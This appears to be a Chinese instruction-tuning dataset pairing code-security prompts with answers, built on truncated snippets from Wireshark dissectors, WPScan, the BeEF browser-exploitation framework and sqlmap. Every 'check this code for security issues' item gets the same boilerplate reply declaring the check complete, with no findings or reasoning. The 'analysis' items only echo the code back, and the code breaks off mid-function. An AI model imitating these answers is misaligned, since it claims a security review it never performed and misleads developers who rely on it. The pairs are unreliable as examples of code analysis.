    if (!priv_entry)
    {
        *err      = WTAP_ERR_BAD_FILE;
        *err_info = g_strdup("Header is missing");
        return FALSE;
    }

    /* Generate Exported PDU tags for the packet info */
    ws_buffer_clean(buf);
    if (is_fd)
  ...


Instruction: 检查这段代码是否存在安全问题

Input:
/* busmaster.c
 *
 * Wiretap Library
 * Copyright (c) 1998 by Gilbert Ramirez <gram@alumni.rice.edu>
 *
 * Support for Busmaster log file format
 * Copyright (c) 2019 by Maksim Salau <maksim.salau@gmail.com>
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"
#include <wtap-int.h>
#include <file_wrappers.h>
#include <epan/dissectors/packet-socketcan.h>
#include <wsutil/exported_pdu_tlvs.h>
#include "busmaster.h"
#include "busmaster_priv.h"
#include <inttypes.h>
#include <string.h>
#include <errno.h>

static void
busmaster_close(wtap *wth);

static gboolean
busmaster_read(wtap   *wth, wtap_rec *rec, Buffer *buf,
               int    *err, gchar **err_info,
               gint64 *data_offset);

static gboolean
busmaster_seek_read(wtap     *wth, gint64 seek_off,
                    wtap_rec *rec, Buffer *buf,
                    int      *err, gchar **err_info);

static int busmaster_file_type_subtype = -1;

void register_busmaster(void);

/*
 * See
 *
 *    http://rbei-etas.github.io/busmaster/
 *
 * for the BUSMASTER software.
 */

static gboolean
busmaster_gen_packet(wtap_rec               *rec, Buffer *buf,
                     const busmaster_priv_t *priv_entry, const msg_t *msg,
                     int                    *err, gchar **err_info)
{
    time_t secs     = 0;
    guint32  nsecs  = 0;
    gboolean has_ts = FALSE;
    gboolean is_fd  = (msg->type == MSG_TYPE_STD_FD)
        || (msg->type == MSG_TYPE_EXT_FD);
    gboolean is_eff = (msg->type == MSG_TYPE_EXT)
        || (msg->type == MSG_TYPE_EXT_RTR)
        || (msg->type == MSG_TYPE_EXT_FD);
    gboolean is_rtr = (msg->type == MSG_TYPE_STD_RTR)
        || (msg->type == MSG_TYPE_EXT_RTR);
    gboolean is_err = (msg->type == MSG_TYPE_ERR);

    if (!priv_entry)
    {
        *err      = WTAP_ERR_BAD_FILE;
        *err_info = g_strdup("Header is missing");
        return FALSE;
    }

    /* Generate Exported PDU tags for the packet info */
    ws_buffer_clean(buf);
    if (is_fd)
  ...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

# frozen_string_literal: true

module WPScan
  module Finders
    module Plugins
      # Known Locations Plugins Finder
      class KnownLocations < CMSScanner::Finders::Finder
        include CMSScanner::Finders::Finder::Enumerator

        # @return [ Array<Integer> ]
        def valid_response_codes
          @valid_response_codes ||= [200, 401, 403, 500].freeze
        end

        # @param [ Hash ] opts
        # @option opts [ String ] :list
        #
        # @return [ Array<Plugin> ]
        def aggressive(opts = {})
          found = []

          enumerate(target_urls(opts), opts.merge(check_full_response: true)) do |res, slug|
            finding_opts = opts.merge(found_by: found_by,
                                      confidence: 80,
                                      interesting_entries: ["#{res.effective_url}, status: #{res.code}"])

            found << Model::Plugin.new(slug, target, finding_opts)

            raise Error::PluginsThresholdReached if opts[:threshold].positive? && found.size >= opts[:threshold]
          end

          found
        end

        # @param [ Hash ] opts
        # @option opts [ String ] :list
        #
        # @return [ Hash ]
        def target_urls(opts = {})
          slugs       = opts[:list] || DB::Plugins.vulnerable_slugs
          urls        = {}

          slugs.each do |slug|
            urls[target.plugin_url(slug)] = slug
          end

          urls
        end

        def create_progress_bar(opts = {})
          super(opts.merge(title: ' Checking Known Locations -'))
        end
      end
    end
  end
end


Instruction: 检查这段代码是否存在安全问题

Input:
# frozen_string_literal: true

module WPScan
  module Finders
    module Plugins
      # Known Locations Plugins Finder
      class KnownLocations < CMSScanner::Finders::Finder
        include CMSScanner::Finders::Finder::Enumerator

        # @return [ Array<Integer> ]
        def valid_response_codes
          @valid_response_codes ||= [200, 401, 403, 500].freeze
        end

        # @param [ Hash ] opts
        # @option opts [ String ] :list
        #
        # @return [ Array<Plugin> ]
        def aggressive(opts = {})
          found = []

          enumerate(target_urls(opts), opts.merge(check_full_response: true)) do |res, slug|
            finding_opts = opts.merge(found_by: found_by,
                                      confidence: 80,
                                      interesting_entries: ["#{res.effective_url}, status: #{res.code}"])

            found << Model::Plugin.new(slug, target, finding_opts)

            raise Error::PluginsThresholdReached if opts[:threshold].positive? && found.size >= opts[:threshold]
          end

          found
        end

        # @param [ Hash ] opts
        # @option opts [ String ] :list
        #
        # @return [ Hash ]
        def target_urls(opts = {})
          slugs       = opts[:list] || DB::Plugins.vulnerable_slugs
          urls        = {}

          slugs.each do |slug|
            urls[target.plugin_url(slug)] = slug
          end

          urls
        end

        def create_progress_bar(opts = {})
          super(opts.merge(title: ' Checking Known Locations -'))
        end
      end
    end
  end
end

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* packet-tcpros.c
 * Routines for Robot Operating System TCP protocol (TCPROS)
 * Copyright 2015, Guillaume Autran  (see AUTHORS file)
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <epan/packet.h>
#include <epan/etypes.h>
#include <epan/prefs.h>

#include "packet-tcp.h"

#define SIZE_OF_LENGTH_FIELD 4
#define SIZE_OF_LENGTH_STAMP (4 + 4)

void proto_register_tcpros(void);
void proto_reg_handoff_tcpros(void);

static int proto_tcpros = -1;
static dissector_handle_t tcpros_handle;

/** desegmentation of TCPROS over TCP */
static gboolean tcpros_desegment = TRUE;

static int hf_tcpros_connection_header = -1;
static int hf_tcpros_connection_header_length = -1;
static int hf_tcpros_connection_header_content = -1;
static int hf_tcpros_connection_header_field = -1;
static int hf_tcpros_connection_header_field_length = -1;
static int hf_tcpros_connection_header_field_data = -1;
static int hf_tcpros_connection_header_field_name = -1;
static int hf_tcpros_connection_header_field_value = -1;
static int hf_tcpros_clock = -1;
static int hf_tcpros_clock_length = -1;
static int hf_tcpros_message = -1;
static int hf_tcpros_message_length = -1;
static int hf_tcpros_message_body = -1;
static int hf_tcpros_message_header = -1;
static int hf_tcpros_message_header_seq = -1;
static int hf_tcpros_message_header_stamp = -1;
static int hf_tcpros_message_header_stamp_sec = -1;
static int hf_tcpros_message_header_stamp_nsec = -1;
static int hf_tcpros_message_header_frame = -1;
static int hf_tcpros_message_header_frame_length = -1;
static int hf_tcpros_message_header_frame_value = -1;
static int hf_tcpros_message_payload = -1;

static gint ett_tcpros = -1;

/**
 * This is the ROS connection header dissector. The general packet format is described
 * here: http://wiki.ros.org/ROS/TCPROS
 * In short, a connection header looks like such: '4-b...


Instruction: 检查这段代码是否存在安全问题

Input:
/* packet-tcpros.c
 * Routines for Robot Operating System TCP protocol (TCPROS)
 * Copyright 2015, Guillaume Autran  (see AUTHORS file)
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <epan/packet.h>
#include <epan/etypes.h>
#include <epan/prefs.h>

#include "packet-tcp.h"

#define SIZE_OF_LENGTH_FIELD 4
#define SIZE_OF_LENGTH_STAMP (4 + 4)

void proto_register_tcpros(void);
void proto_reg_handoff_tcpros(void);

static int proto_tcpros = -1;
static dissector_handle_t tcpros_handle;

/** desegmentation of TCPROS over TCP */
static gboolean tcpros_desegment = TRUE;

static int hf_tcpros_connection_header = -1;
static int hf_tcpros_connection_header_length = -1;
static int hf_tcpros_connection_header_content = -1;
static int hf_tcpros_connection_header_field = -1;
static int hf_tcpros_connection_header_field_length = -1;
static int hf_tcpros_connection_header_field_data = -1;
static int hf_tcpros_connection_header_field_name = -1;
static int hf_tcpros_connection_header_field_value = -1;
static int hf_tcpros_clock = -1;
static int hf_tcpros_clock_length = -1;
static int hf_tcpros_message = -1;
static int hf_tcpros_message_length = -1;
static int hf_tcpros_message_body = -1;
static int hf_tcpros_message_header = -1;
static int hf_tcpros_message_header_seq = -1;
static int hf_tcpros_message_header_stamp = -1;
static int hf_tcpros_message_header_stamp_sec = -1;
static int hf_tcpros_message_header_stamp_nsec = -1;
static int hf_tcpros_message_header_frame = -1;
static int hf_tcpros_message_header_frame_length = -1;
static int hf_tcpros_message_header_frame_value = -1;
static int hf_tcpros_message_payload = -1;

static gint ett_tcpros = -1;

/**
 * This is the ROS connection header dissector. The general packet format is described
 * here: http://wiki.ros.org/ROS/TCPROS
 * In short, a connection header looks like such: '4-b...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/*
 * Routines for the disassembly of the proprietary Cisco IPSEC in
 * TCP encapsulation protocol
 *
 * Copyright 2007 Joerg Mayer (see AUTHORS file)
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

/* TODO:
 * - Find out the meaning of the (unknown) trailer
 * - UDP checksum is wrong
 * - Currently doesn't handle AH (lack of sample trace)
 */

#include "config.h"

#include <epan/packet.h>
#include "packet-ndmp.h"

void proto_register_tcpencap(void);
void proto_reg_handoff_tcpencap(void);

static dissector_handle_t tcpencap_handle;

static int hf_tcpencap_unknown = -1;
static int hf_tcpencap_zero = -1;
static int hf_tcpencap_seq = -1;
static int hf_tcpencap_ike_direction = -1;
static int hf_tcpencap_esp_zero = -1;
static int hf_tcpencap_magic = -1;
static int hf_tcpencap_proto = -1;
static int hf_tcpencap_magic2 = -1;

static int proto_tcpencap = -1;
static gint ett_tcpencap = -1;
static gint ett_tcpencap_unknown = -1;

static const value_string tcpencap_ikedir_vals[] = {
	{ 0x0000,	"Server to client" },
	{ 0x4000,	"Client to server" },

	{ 0,	NULL }
};

static const value_string tcpencap_proto_vals[] = {
	{ 0x11,	"ISAKMP" },
	{ 0x32,	"ESP" },

	{ 0,	NULL }
};

#define TRAILERLENGTH 16
#define TCP_CISCO_IPSEC 10000

static dissector_handle_t esp_handle;
static dissector_handle_t udp_handle;

#define TCP_ENCAP_P_ESP 1
#define TCP_ENCAP_P_UDP 2

static int
packet_is_tcpencap(tvbuff_t *tvb, packet_info *pinfo, guint32 offset)
{
	if (	/* Must be zero */
		tvb_get_ntohl(tvb, offset + 0) != 0 ||
		/* Lower 12 bits must be zero */
		(tvb_get_ntohs(tvb, offset + 6) & 0xfff) != 0 ||
		/* Protocol must be UDP or ESP */
		(tvb_get_guint8(tvb, offset + 13) != 17 &&
		 tvb_get_guint8(tvb, offset + 13) != 50)
	) {
		return FALSE;
	}

	if(check_if_ndmp(tvb, pinfo)){
		return FALSE;
	}

	return TRUE;
}

/*
 * TCP Encapsulation of IPsec Packets
 * as supported by...


Instruction: 检查这段代码是否存在安全问题

Input:
/*
 * Routines for the disassembly of the proprietary Cisco IPSEC in
 * TCP encapsulation protocol
 *
 * Copyright 2007 Joerg Mayer (see AUTHORS file)
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

/* TODO:
 * - Find out the meaning of the (unknown) trailer
 * - UDP checksum is wrong
 * - Currently doesn't handle AH (lack of sample trace)
 */

#include "config.h"

#include <epan/packet.h>
#include "packet-ndmp.h"

void proto_register_tcpencap(void);
void proto_reg_handoff_tcpencap(void);

static dissector_handle_t tcpencap_handle;

static int hf_tcpencap_unknown = -1;
static int hf_tcpencap_zero = -1;
static int hf_tcpencap_seq = -1;
static int hf_tcpencap_ike_direction = -1;
static int hf_tcpencap_esp_zero = -1;
static int hf_tcpencap_magic = -1;
static int hf_tcpencap_proto = -1;
static int hf_tcpencap_magic2 = -1;

static int proto_tcpencap = -1;
static gint ett_tcpencap = -1;
static gint ett_tcpencap_unknown = -1;

static const value_string tcpencap_ikedir_vals[] = {
	{ 0x0000,	"Server to client" },
	{ 0x4000,	"Client to server" },

	{ 0,	NULL }
};

static const value_string tcpencap_proto_vals[] = {
	{ 0x11,	"ISAKMP" },
	{ 0x32,	"ESP" },

	{ 0,	NULL }
};

#define TRAILERLENGTH 16
#define TCP_CISCO_IPSEC 10000

static dissector_handle_t esp_handle;
static dissector_handle_t udp_handle;

#define TCP_ENCAP_P_ESP 1
#define TCP_ENCAP_P_UDP 2

static int
packet_is_tcpencap(tvbuff_t *tvb, packet_info *pinfo, guint32 offset)
{
	if (	/* Must be zero */
		tvb_get_ntohl(tvb, offset + 0) != 0 ||
		/* Lower 12 bits must be zero */
		(tvb_get_ntohs(tvb, offset + 6) & 0xfff) != 0 ||
		/* Protocol must be UDP or ESP */
		(tvb_get_guint8(tvb, offset + 13) != 17 &&
		 tvb_get_guint8(tvb, offset + 13) != 50)
	) {
		return FALSE;
	}

	if(check_if_ndmp(tvb, pinfo)){
		return FALSE;
	}

	return TRUE;
}

/*
 * TCP Encapsulation of IPsec Packets
 * as supported by...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/*
 *  tap-funnel.c
 *
 * EPAN's GUI mini-API
 *
 * (c) 2006, Luis E. Garcia Ontanon <luis@ontanon.org>
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <epan/funnel.h>
#include <stdio.h>

#include "ws_attributes.h"

#include <wsutil/wslog.h>

void register_tap_listener_funnel(void);

struct _funnel_text_window_t {
    gchar *title;
    GString *text;
};

static GPtrArray *text_windows = NULL;

static funnel_text_window_t *new_text_window(funnel_ops_id_t *ops_id _U_, const gchar *title) {
    funnel_text_window_t *tw = g_new(funnel_text_window_t, 1);
    tw->title = g_strdup(title);
    tw->text = g_string_new("");

    if (!text_windows)
        text_windows = g_ptr_array_new();

    g_ptr_array_add(text_windows, tw);

    return tw;
}

static void text_window_clear(funnel_text_window_t *tw) {
    g_string_free(tw->text, TRUE);
    tw->text = g_string_new("");
}

static void text_window_append(funnel_text_window_t *tw, const char *text ) {
    g_string_append(tw->text, text);
}

static void text_window_set_text(funnel_text_window_t *tw, const char *text) {
    g_string_free(tw->text, TRUE);
    tw->text = g_string_new(text);
}

static void text_window_prepend(funnel_text_window_t *tw, const char *text) {
    g_string_prepend(tw->text, text);
}

static const gchar *text_window_get_text(funnel_text_window_t *tw) {
    return tw->text->str;
}

static const funnel_ops_t funnel_ops = {
    NULL,
    new_text_window,
    text_window_set_text,
    text_window_append,
    text_window_prepend,
    text_window_clear,
    text_window_get_text,
    NULL,
    NULL,
    NULL,
    NULL,
    /*...,*/
    NULL,
    NULL,
    NULL,
    NULL,
    NULL,
    NULL,
    NULL,
    NULL,
    NULL,
    NULL,
    NULL,
    NULL,
    NULL,
    NULL,
    NULL,
    NULL,
    NULL,
    NULL
};

void initialize_funnel_ops(void) {
    funnel_set_f...


Instruction: 检查这段代码是否存在安全问题

Input:
/*
 *  tap-funnel.c
 *
 * EPAN's GUI mini-API
 *
 * (c) 2006, Luis E. Garcia Ontanon <luis@ontanon.org>
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <epan/funnel.h>
#include <stdio.h>

#include "ws_attributes.h"

#include <wsutil/wslog.h>

void register_tap_listener_funnel(void);

struct _funnel_text_window_t {
    gchar *title;
    GString *text;
};

static GPtrArray *text_windows = NULL;

static funnel_text_window_t *new_text_window(funnel_ops_id_t *ops_id _U_, const gchar *title) {
    funnel_text_window_t *tw = g_new(funnel_text_window_t, 1);
    tw->title = g_strdup(title);
    tw->text = g_string_new("");

    if (!text_windows)
        text_windows = g_ptr_array_new();

    g_ptr_array_add(text_windows, tw);

    return tw;
}

static void text_window_clear(funnel_text_window_t *tw) {
    g_string_free(tw->text, TRUE);
    tw->text = g_string_new("");
}

static void text_window_append(funnel_text_window_t *tw, const char *text ) {
    g_string_append(tw->text, text);
}

static void text_window_set_text(funnel_text_window_t *tw, const char *text) {
    g_string_free(tw->text, TRUE);
    tw->text = g_string_new(text);
}

static void text_window_prepend(funnel_text_window_t *tw, const char *text) {
    g_string_prepend(tw->text, text);
}

static const gchar *text_window_get_text(funnel_text_window_t *tw) {
    return tw->text->str;
}

static const funnel_ops_t funnel_ops = {
    NULL,
    new_text_window,
    text_window_set_text,
    text_window_append,
    text_window_prepend,
    text_window_clear,
    text_window_get_text,
    NULL,
    NULL,
    NULL,
    NULL,
    /*...,*/
    NULL,
    NULL,
    NULL,
    NULL,
    NULL,
    NULL,
    NULL,
    NULL,
    NULL,
    NULL,
    NULL,
    NULL,
    NULL,
    NULL,
    NULL,
    NULL,
    NULL,
    NULL
};

void initialize_funnel_ops(void) {
    funnel_set_f...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="utf-8">
    <title>JSDoc: Source: browser.js</title>

    <script src="scripts/prettify/prettify.js"> </script>
    <script src="scripts/prettify/lang-css.js"> </script>
    <!--[if lt IE 9]>
      <script src="//html5shiv.googlecode.com/svn/trunk/html5.js"></script>
    <![endif]-->
    <link type="text/css" rel="stylesheet" href="styles/prettify-tomorrow.css">
    <link type="text/css" rel="stylesheet" href="styles/jsdoc-default.css">
</head>

<body>

<div id="main">

    <h1 class="page-title">Source: browser.js</h1>

    <section>
        <article>
            <pre class="prettyprint source linenums"><code>//
// Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//

/**
 * Basic browser functions.
 * @namespace beef.browser
 */
beef.browser = {

    /**
     * Returns the user agent that the browser is claiming to be.
     * @example: beef.browser.getBrowserReportedName()
     */
    getBrowserReportedName: function () {
        return navigator.userAgent;
    },

    /**
     * Returns the underlying layout engine in use by the browser.
     * @example: beef.browser.getBrowserEngine()
     */
    getBrowserEngine: function() {
      try {
        var engine = platform.layout;
        if (!!engine)
          return engine;
      } catch (e) {}
      return 'unknown';
    },

    /**
     * Returns true if Avant Browser.
     * @example: beef.browser.isA()
     */
    isA: function () {
        return window.navigator.userAgent.match(/Avant TriCore/) != null;
    },

    /**
     * Returns true if Iceweasel.
     * @example: beef.browser.isIceweasel()
     */
    isIceweasel: function () {
        return window.navigator.userAgent.match(/Iceweasel\/\d+\.\d/) != null;
    },

    /**
     * Returns true if Midori.
     * @example: beef.browser.isMidori()
     */
    isMi...


Instruction: 检查这段代码是否存在安全问题

Input:
<!DOCTYPE html>

    <meta charset="utf-8">
    <title>JSDoc: Source: browser.js</title>

    <link type="text/css" rel="stylesheet" href="styles/prettify-tomorrow.css">
    <link type="text/css" rel="stylesheet" href="styles/jsdoc-default.css">

Source: browser.js

//
// Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//

/**
 * Basic browser functions.
 * @namespace beef.browser
 */
beef.browser = {

    /**
     * Returns the user agent that the browser is claiming to be.
     * @example: beef.browser.getBrowserReportedName()
     */
    getBrowserReportedName: function () {
        return navigator.userAgent;
    },

    /**
     * Returns the underlying layout engine in use by the browser.
     * @example: beef.browser.getBrowserEngine()
     */
    getBrowserEngine: function() {
      try {
        var engine = platform.layout;
        if (!!engine)
          return engine;
      } catch (e) {}
      return 'unknown';
    },

    /**
     * Returns true if Avant Browser.
     * @example: beef.browser.isA()
     */
    isA: function () {
        return window.navigator.userAgent.match(/Avant TriCore/) != null;
    },

    /**
     * Returns true if Iceweasel.
     * @example: beef.browser.isIceweasel()
     */
    isIceweasel: function () {
        return window.navigator.userAgent.match(/Iceweasel\/\d+\.\d/) != null;
    },

    /**
     * Returns true if Midori.
     * @example: beef.browser.isMidori()
     */
    isMi...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

#!/usr/bin/env python

"""
Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

from lib.core.enums import DBMS
from lib.core.settings import PRESTO_SYSTEM_DBS
from lib.core.unescaper import unescaper

from plugins.dbms.presto.enumeration import Enumeration
from plugins.dbms.presto.filesystem import Filesystem
from plugins.dbms.presto.fingerprint import Fingerprint
from plugins.dbms.presto.syntax import Syntax
from plugins.dbms.presto.takeover import Takeover
from plugins.generic.misc import Miscellaneous

class PrestoMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
    """
    This class defines Presto methods
    """

    def __init__(self):
        self.excludeDbsList = PRESTO_SYSTEM_DBS

        for cls in self.__class__.__bases__:
            cls.__init__(self)

    unescaper[DBMS.PRESTO] = Syntax.escape


Instruction: 检查这段代码是否存在安全问题

Input:
#!/usr/bin/env python

"""
Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

from lib.core.enums import DBMS
from lib.core.settings import PRESTO_SYSTEM_DBS
from lib.core.unescaper import unescaper

from plugins.dbms.presto.enumeration import Enumeration
from plugins.dbms.presto.filesystem import Filesystem
from plugins.dbms.presto.fingerprint import Fingerprint
from plugins.dbms.presto.syntax import Syntax
from plugins.dbms.presto.takeover import Takeover
from plugins.generic.misc import Miscellaneous

class PrestoMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
    """
    This class defines Presto methods
    """

    def __init__(self):
        self.excludeDbsList = PRESTO_SYSTEM_DBS

        for cls in self.__class__.__bases__:
            cls.__init__(self)

    unescaper[DBMS.PRESTO] = Syntax.escape

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* packet-sscf-nni.c
 * Routines for SSCF-NNI (Q.2140) frame disassembly
 * Jeff Morriss <jeff.morriss.ws [AT] gmail.com>
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998
 *
 * Copied from packet-sscop.c
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <epan/packet.h>

void proto_register_sscf(void);
void proto_reg_handoff_sscf(void);

static int proto_sscf = -1;

static gint ett_sscf = -1;

static dissector_handle_t mtp3_handle;

#define SSCF_PDU_LENGTH 4
#define SSCF_STATUS_OFFSET 3
#define SSCF_STATUS_LENGTH 1
#define SSCF_SPARE_OFFSET 0
#define SSCF_SPARE_LENGTH 3

static int hf_status = -1;
static int hf_spare = -1;

#define SSCF_STATUS_OOS 0x01
#define SSCF_STATUS_PO  0x02
#define SSCF_STATUS_IS  0x03
#define SSCF_STATUS_NORMAL 0x04
#define SSCF_STATUS_EMERGENCY 0x05
#define SSCF_STATUS_ALIGNMENT_NOT_SUCCESSFUL 0x7
#define SSCF_STATUS_MANAGEMENT_INITIATED 0x08
#define SSCF_STATUS_PROTOCOL_ERROR 0x09
#define SSCF_STATUS_PROVING_NOT_SUCCESSFUL 0x0a

static const value_string sscf_status_vals[] = {
  { SSCF_STATUS_OOS,                      "Out of Service" },
  { SSCF_STATUS_PO,                       "Processor Outage" },
  { SSCF_STATUS_IS,                       "In Service" },
  { SSCF_STATUS_NORMAL,                   "Normal" },
  { SSCF_STATUS_EMERGENCY,                "Emergency" },
  { SSCF_STATUS_ALIGNMENT_NOT_SUCCESSFUL, "Alignment Not Successful" },
  { SSCF_STATUS_MANAGEMENT_INITIATED,     "Management Initiated" },
  { SSCF_STATUS_PROTOCOL_ERROR,           "Protocol Error" },
  { SSCF_STATUS_PROVING_NOT_SUCCESSFUL,   "Proving Not Successful" },
  { 0,                                    NULL }
};

static int
dissect_sscf_nni(tvbuff_t *tvb, packet_info *pinfo, proto_tree *tree, void* data _U_)
{
  guint reported_length;
  proto_item *sscf_item = NULL;
  proto_tree *sscf_tree = NULL;
  guint8 sscf_status;

  reported_length = tvb_reported_length(tvb);  /* frame length *...


Instruction: 检查这段代码是否存在安全问题

Input:
/* packet-sscf-nni.c
 * Routines for SSCF-NNI (Q.2140) frame disassembly
 * Jeff Morriss <jeff.morriss.ws [AT] gmail.com>
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998
 *
 * Copied from packet-sscop.c
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <epan/packet.h>

void proto_register_sscf(void);
void proto_reg_handoff_sscf(void);

static int proto_sscf = -1;

static gint ett_sscf = -1;

static dissector_handle_t mtp3_handle;

#define SSCF_PDU_LENGTH 4
#define SSCF_STATUS_OFFSET 3
#define SSCF_STATUS_LENGTH 1
#define SSCF_SPARE_OFFSET 0
#define SSCF_SPARE_LENGTH 3

static int hf_status = -1;
static int hf_spare = -1;

#define SSCF_STATUS_OOS 0x01
#define SSCF_STATUS_PO  0x02
#define SSCF_STATUS_IS  0x03
#define SSCF_STATUS_NORMAL 0x04
#define SSCF_STATUS_EMERGENCY 0x05
#define SSCF_STATUS_ALIGNMENT_NOT_SUCCESSFUL 0x7
#define SSCF_STATUS_MANAGEMENT_INITIATED 0x08
#define SSCF_STATUS_PROTOCOL_ERROR 0x09
#define SSCF_STATUS_PROVING_NOT_SUCCESSFUL 0x0a

static const value_string sscf_status_vals[] = {
  { SSCF_STATUS_OOS,                      "Out of Service" },
  { SSCF_STATUS_PO,                       "Processor Outage" },
  { SSCF_STATUS_IS,                       "In Service" },
  { SSCF_STATUS_NORMAL,                   "Normal" },
  { SSCF_STATUS_EMERGENCY,                "Emergency" },
  { SSCF_STATUS_ALIGNMENT_NOT_SUCCESSFUL, "Alignment Not Successful" },
  { SSCF_STATUS_MANAGEMENT_INITIATED,     "Management Initiated" },
  { SSCF_STATUS_PROTOCOL_ERROR,           "Protocol Error" },
  { SSCF_STATUS_PROVING_NOT_SUCCESSFUL,   "Proving Not Successful" },
  { 0,                                    NULL }
};

static int
dissect_sscf_nni(tvbuff_t *tvb, packet_info *pinfo, proto_tree *tree, void* data _U_)
{
  guint reported_length;
  proto_item *sscf_item = NULL;
  proto_tree *sscf_tree = NULL;
  guint8 sscf_status;

  reported_length = tvb_reported_length(tvb);  /* frame length *...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* packet-fortinet-sso.c
 * Routines for Fortinet Single Sign-On
 * Copyright 2020, Alexis La Goutte <alexis.lagoutte at gmail dot com>
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 *
 * No spec/doc is available based on reverse/analysis of protocol...
 */

#include "config.h"

#include <epan/packet.h>
#include <epan/addr_resolv.h>

#define UDP_FSSO        8002

void proto_register_fortinet_sso(void);
void proto_reg_handoff_fortinet_sso(void);

static int proto_fortinet_sso = -1;
static gint ett_fortinet_sso  = -1;

static int hf_fsso_length = -1;
static int hf_fsso_timestamp = -1;
static int hf_fsso_client_ip = -1;
static int hf_fsso_payload_length = -1;
static int hf_fsso_string = -1;
static int hf_fsso_domain = -1;
static int hf_fsso_user = -1;
static int hf_fsso_host = -1;
static int hf_fsso_version = -1;
static int hf_fsso_tsagent_number_port_range = -1;
static int hf_fsso_tsagent_port_range_min = -1;
static int hf_fsso_tsagent_port_range_max = -1;
static int hf_fsso_unknown = -1;
static int hf_fsso_unknown_ipv4 = -1;

static dissector_handle_t fortinet_sso_handle;

static int
dissect_fortinet_sso(tvbuff_t *tvb, packet_info *pinfo, proto_tree *tree, void* data _U_)
{
    proto_tree *ti;
    proto_tree *fsso_tree;
    guint32 payload_length, client_ip;
    gint string_length = -1;
    const gchar *string;
    gint32 len;
    int offset = 0;

    col_set_str(pinfo->cinfo, COL_PROTOCOL, "FSSO");
    col_clear(pinfo->cinfo, COL_INFO);
    col_add_fstr(pinfo->cinfo, COL_INFO, "Fortinet Single Sign-On");

    ti = proto_tree_add_item(tree, proto_fortinet_sso, tvb, 0, -1, ENC_NA);
    fsso_tree = proto_item_add_subtree(ti, ett_fortinet_sso);

    proto_tree_add_item(fsso_tree, hf_fsso_length, tvb, offset, 2, ENC_BIG_ENDIAN);
    offset += 2;

    proto_tree_add_item(fsso_tree, hf_fsso_timestamp, tvb, offset, 4, ENC_BIG_ENDIAN);
    offset += 4;

    p...


Instruction: 检查这段代码是否存在安全问题

Input:
/* packet-fortinet-sso.c
 * Routines for Fortinet Single Sign-On
 * Copyright 2020, Alexis La Goutte <alexis.lagoutte at gmail dot com>
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 *
 * No spec/doc is available based on reverse/analysis of protocol...
 */

#include "config.h"

#include <epan/packet.h>
#include <epan/addr_resolv.h>

#define UDP_FSSO        8002

void proto_register_fortinet_sso(void);
void proto_reg_handoff_fortinet_sso(void);

static int proto_fortinet_sso = -1;
static gint ett_fortinet_sso  = -1;

static int hf_fsso_length = -1;
static int hf_fsso_timestamp = -1;
static int hf_fsso_client_ip = -1;
static int hf_fsso_payload_length = -1;
static int hf_fsso_string = -1;
static int hf_fsso_domain = -1;
static int hf_fsso_user = -1;
static int hf_fsso_host = -1;
static int hf_fsso_version = -1;
static int hf_fsso_tsagent_number_port_range = -1;
static int hf_fsso_tsagent_port_range_min = -1;
static int hf_fsso_tsagent_port_range_max = -1;
